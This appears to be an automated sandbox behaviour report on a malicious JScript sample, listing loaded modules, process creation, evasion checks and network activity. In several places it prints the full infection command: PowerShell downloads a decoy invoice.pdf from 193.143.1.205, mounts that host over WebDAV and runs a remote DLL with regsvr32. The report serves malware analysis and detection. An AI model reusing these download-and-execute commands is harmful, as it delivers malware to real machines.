Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5281.js.csv");ITextStream.WriteLine(" entry:7870 f:qpkcsje");ITextStream.WriteLine(" exec:2 f:qpkcsje");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3429			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6096			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3276	Thread sleep count: 3429 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2216	Thread sleep count: 6096 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3324	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7084	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2060	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7000	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1280	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4640	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000009.00000002.2721799627.00000163F4C24000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW l%
Source: net.exe, 00000007.00000002.1484072846.000002AA56D2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2723025384.00000163FA254000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1484072846.000002AA56CC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
